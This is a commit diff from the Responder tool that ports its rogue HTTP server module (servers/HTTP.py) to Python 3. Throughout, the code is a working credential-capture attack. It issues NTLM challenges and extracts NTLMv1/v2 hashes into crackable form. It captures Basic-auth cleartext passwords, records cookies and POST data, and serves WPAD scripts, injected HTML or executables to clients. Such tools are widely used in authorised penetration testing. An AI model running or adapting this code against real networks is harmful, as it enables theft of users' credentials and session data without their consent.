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https://github.com/lgandx/Responder.git
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Added py3 and py2 compatibility + many bugfix
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lgandx
parent
c52843a535
commit
b510b2bb25
49 changed files with 2771 additions and 2058 deletions
114
servers/HTTP.py
114
servers/HTTP.py
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@ -15,10 +15,13 @@
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# You should have received a copy of the GNU General Public License
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# along with this program. If not, see <http://www.gnu.org/licenses/>.
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import struct
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from SocketServer import BaseRequestHandler, StreamRequestHandler
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from base64 import b64decode
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import codecs
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from utils import *
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if settings.Config.PY2OR3 is "PY3":
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from socketserver import BaseRequestHandler, StreamRequestHandler
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else:
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from SocketServer import BaseRequestHandler, StreamRequestHandler
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from base64 import b64decode, b64encode
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from packets import NTLM_Challenge
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from packets import IIS_Auth_401_Ans, IIS_Auth_Granted, IIS_NTLM_Challenge_Ans, IIS_Basic_401_Ans,WEBDAV_Options_Answer
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from packets import WPADScript, ServeExeFile, ServeHtmlFile
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@ -28,28 +31,29 @@ from packets import WPADScript, ServeExeFile, ServeHtmlFile
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def ParseHTTPHash(data, Challenge, client, module):
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LMhashLen = struct.unpack('<H',data[12:14])[0]
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LMhashOffset = struct.unpack('<H',data[16:18])[0]
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LMHash = data[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
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LMHash = data[LMhashOffset:LMhashOffset+LMhashLen]
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LMHashFinal = codecs.encode(LMHash, 'hex').upper().decode('latin-1')
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NthashLen = struct.unpack('<H',data[20:22])[0]
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NthashOffset = struct.unpack('<H',data[24:26])[0]
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NTHash = data[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
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NTHash = data[NthashOffset:NthashOffset+NthashLen]
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NTHashFinal = codecs.encode(NTHash, 'hex').upper().decode('latin-1')
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UserLen = struct.unpack('<H',data[36:38])[0]
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UserOffset = struct.unpack('<H',data[40:42])[0]
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User = data[UserOffset:UserOffset+UserLen].replace('\x00','')
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User = data[UserOffset:UserOffset+UserLen].decode('latin-1').replace('\x00','')
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Challenge1 = codecs.encode(Challenge,'hex').decode('latin-1')
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if NthashLen == 24:
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HostNameLen = struct.unpack('<H',data[46:48])[0]
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HostNameOffset = struct.unpack('<H',data[48:50])[0]
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HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
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WriteHash = '%s::%s:%s:%s:%s' % (User, HostName, LMHash, NTHash, Challenge.encode('hex'))
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HostName = data[HostNameOffset:HostNameOffset+HostNameLen].decode('latin-1').replace('\x00','')
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WriteHash = '%s::%s:%s:%s:%s' % (User, HostName, LMHashFinal, NTHashFinal, Challenge1)
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SaveToDb({
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'module': module,
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'type': 'NTLMv1',
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'client': client,
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'host': HostName,
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'user': User,
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'hash': LMHash+":"+NTHash,
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'hash': LMHashFinal+':'+NTHashFinal,
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'fullhash': WriteHash,
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})
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@ -57,19 +61,18 @@ def ParseHTTPHash(data, Challenge, client, module):
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NthashLen = 64
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DomainLen = struct.unpack('<H',data[28:30])[0]
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DomainOffset = struct.unpack('<H',data[32:34])[0]
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Domain = data[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
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Domain = data[DomainOffset:DomainOffset+DomainLen].decode('latin-1').replace('\x00','')
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HostNameLen = struct.unpack('<H',data[44:46])[0]
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HostNameOffset = struct.unpack('<H',data[48:50])[0]
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HostName = data[HostNameOffset:HostNameOffset+HostNameLen].replace('\x00','')
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WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, Challenge.encode('hex'), NTHash[:32], NTHash[32:])
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HostName = data[HostNameOffset:HostNameOffset+HostNameLen].decode('latin-1').replace('\x00','')
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WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, Challenge1, NTHashFinal[:32], NTHashFinal[32:])
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SaveToDb({
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'module': module,
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'type': 'NTLMv2',
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'client': client,
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'host': HostName,
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'user': Domain + '\\' + User,
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'hash': NTHash[:32] + ":" + NTHash[32:],
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'hash': NTHashFinal[:32] + ':' + NTHashFinal[32:],
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'fullhash': WriteHash,
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})
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@ -79,7 +82,7 @@ def GrabCookie(data, host):
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if Cookie:
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Cookie = Cookie.group(0).replace('Cookie: ', '')
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if len(Cookie) > 1 and settings.Config.Verbose:
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print text("[HTTP] Cookie : %s " % Cookie)
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print(text("[HTTP] Cookie : %s " % Cookie))
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return Cookie
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return False
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@ -89,7 +92,7 @@ def GrabHost(data, host):
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if Host:
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Host = Host.group(0).replace('Host: ', '')
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if settings.Config.Verbose:
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print text("[HTTP] Host : %s " % color(Host, 3))
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print(text("[HTTP] Host : %s " % color(Host, 3)))
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return Host
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return False
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@ -99,21 +102,21 @@ def GrabReferer(data, host):
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if Referer:
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Referer = Referer.group(0).replace('Referer: ', '')
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if settings.Config.Verbose:
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print text("[HTTP] Referer : %s " % color(Referer, 3))
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print(text("[HTTP] Referer : %s " % color(Referer, 3)))
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return Referer
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return False
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def SpotFirefox(data):
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UserAgent = re.findall(r'(?<=User-Agent: )[^\r]*', data)
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if UserAgent:
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print text("[HTTP] %s" % color("User-Agent : "+UserAgent[0], 2))
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IsFirefox = re.search('Firefox', UserAgent[0])
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if IsFirefox:
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print color("[WARNING]: Mozilla doesn't switch to fail-over proxies (as it should) when one's failing.", 1)
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print color("[WARNING]: The current WPAD script will cause disruption on this host. Sending a dummy wpad script (DIRECT connect)", 1)
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return True
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else:
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return False
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print(text("[HTTP] %s" % color("User-Agent : "+UserAgent[0], 2)))
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IsFirefox = re.search('Firefox', UserAgent[0])
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if IsFirefox:
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print(color("[WARNING]: Mozilla doesn't switch to fail-over proxies (as it should) when one's failing.", 1))
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print(color("[WARNING]: The current WPAD script will cause disruption on this host. Sending a dummy wpad script (DIRECT connect)", 1))
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return True
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else:
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return False
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def WpadCustom(data, client):
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Wpad = re.search(r'(/wpad.dat|/*\.pac)', data)
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@ -155,7 +158,7 @@ def RespondWithFile(client, filename, dlname=None):
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Buffer = ServeHtmlFile(Payload = ServeFile(filename))
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Buffer.calculate()
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print text("[HTTP] Sending file %s to %s" % (filename, client))
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print(text("[HTTP] Sending file %s to %s" % (filename, client)))
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return str(Buffer)
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def GrabURL(data, host):
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@ -164,13 +167,13 @@ def GrabURL(data, host):
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POSTDATA = re.findall(r'(?<=\r\n\r\n)[^*]*', data)
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if GET and settings.Config.Verbose:
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print text("[HTTP] GET request from: %-15s URL: %s" % (host, color(''.join(GET), 5)))
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print(text("[HTTP] GET request from: %-15s URL: %s" % (host, color(''.join(GET), 5))))
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if POST and settings.Config.Verbose:
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print text("[HTTP] POST request from: %-15s URL: %s" % (host, color(''.join(POST), 5)))
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print(text("[HTTP] POST request from: %-15s URL: %s" % (host, color(''.join(POST), 5))))
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if len(''.join(POSTDATA)) > 2:
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print text("[HTTP] POST Data: %s" % ''.join(POSTDATA).strip())
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print(text("[HTTP] POST Data: %s" % ''.join(POSTDATA).strip()))
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# Handle HTTP packet sequence.
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def PacketSequence(data, client, Challenge):
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@ -187,40 +190,40 @@ def PacketSequence(data, client, Challenge):
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WPAD_Custom = WpadCustom(data, client)
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# Webdav
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if ServeOPTIONS(data):
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return ServeOPTIONS(data)
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if ServeOPTIONS(data):
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return ServeOPTIONS(data)
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if NTLM_Auth:
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Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
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if Packet_NTLM == "\x01":
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if Packet_NTLM == b'\x01':
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GrabURL(data, client)
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GrabReferer(data, client)
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GrabHost(data, client)
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GrabCookie(data, client)
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Buffer = NTLM_Challenge(ServerChallenge=Challenge)
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Buffer = NTLM_Challenge(ServerChallenge=NetworkRecvBufferPython2or3(Challenge))
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Buffer.calculate()
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Buffer_Ans = IIS_NTLM_Challenge_Ans()
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Buffer_Ans.calculate(str(Buffer))
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return str(Buffer_Ans)
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Buffer_Ans = IIS_NTLM_Challenge_Ans(Payload = b64encode(NetworkSendBufferPython2or3(Buffer)).decode('latin-1'))
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#Buffer_Ans.calculate(Buffer)
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return Buffer_Ans
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if Packet_NTLM == "\x03":
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if Packet_NTLM == b'\x03':
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NTLM_Auth = b64decode(''.join(NTLM_Auth))
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if IsWebDAV(data):
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if IsWebDAV(data):
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module = "WebDAV"
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else:
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else:
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module = "HTTP"
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ParseHTTPHash(NTLM_Auth, Challenge, client, module)
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if settings.Config.Force_WPAD_Auth and WPAD_Custom:
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print text("[HTTP] WPAD (auth) file sent to %s" % client)
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print(text("[HTTP] WPAD (auth) file sent to %s" % client))
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return WPAD_Custom
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else:
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Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)
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Buffer.calculate()
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return str(Buffer)
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return NetworkSendBufferPython2or3(Buffer)
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elif Basic_Auth:
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ClearText_Auth = b64decode(''.join(Basic_Auth))
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@ -234,31 +237,31 @@ def PacketSequence(data, client, Challenge):
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'module': 'HTTP',
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'type': 'Basic',
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'client': client,
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'user': ClearText_Auth.split(':')[0],
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'cleartext': ClearText_Auth.split(':')[1],
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})
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'user': ClearText_Auth.decode('latin-1').split(':')[0],
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'cleartext': ClearText_Auth.decode('latin-1').split(':')[1],
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})
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if settings.Config.Force_WPAD_Auth and WPAD_Custom:
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if settings.Config.Verbose:
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print text("[HTTP] WPAD (auth) file sent to %s" % client)
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print(text("[HTTP] WPAD (auth) file sent to %s" % client))
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return WPAD_Custom
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else:
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Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)
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Buffer.calculate()
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return str(Buffer)
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return NetworkSendBufferPython2or3(Buffer)
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else:
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if settings.Config.Basic:
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Response = IIS_Basic_401_Ans()
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if settings.Config.Verbose:
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print text("[HTTP] Sending BASIC authentication request to %s" % client)
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print(text("[HTTP] Sending BASIC authentication request to %s" % client))
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else:
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Response = IIS_Auth_401_Ans()
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if settings.Config.Verbose:
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print text("[HTTP] Sending NTLM authentication request to %s" % client)
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print(text("[HTTP] Sending NTLM authentication request to %s" % client))
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return str(Response)
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return Response
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# HTTP Server class
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class HTTP(BaseRequestHandler):
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@ -266,14 +269,13 @@ class HTTP(BaseRequestHandler):
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def handle(self):
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try:
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Challenge = RandomChallenge()
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while True:
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self.request.settimeout(3)
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remaining = 10*1024*1024 #setting max recieve size
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data = ''
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while True:
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buff = ''
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buff = self.request.recv(8092)
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buff = NetworkRecvBufferPython2or3(self.request.recv(8092))
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if buff == '':
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break
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data += buff
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@ -298,14 +300,14 @@ class HTTP(BaseRequestHandler):
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Buffer = WpadCustom(data, self.client_address[0])
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if Buffer and settings.Config.Force_WPAD_Auth == False:
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self.request.send(Buffer)
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self.request.send(NetworkSendBufferPython2or3(Buffer))
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self.request.close()
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if settings.Config.Verbose:
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print text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0])
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print(text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0]))
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else:
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Buffer = PacketSequence(data,self.client_address[0], Challenge)
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self.request.send(Buffer)
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self.request.send(NetworkSendBufferPython2or3(Buffer))
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except socket.error:
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pass
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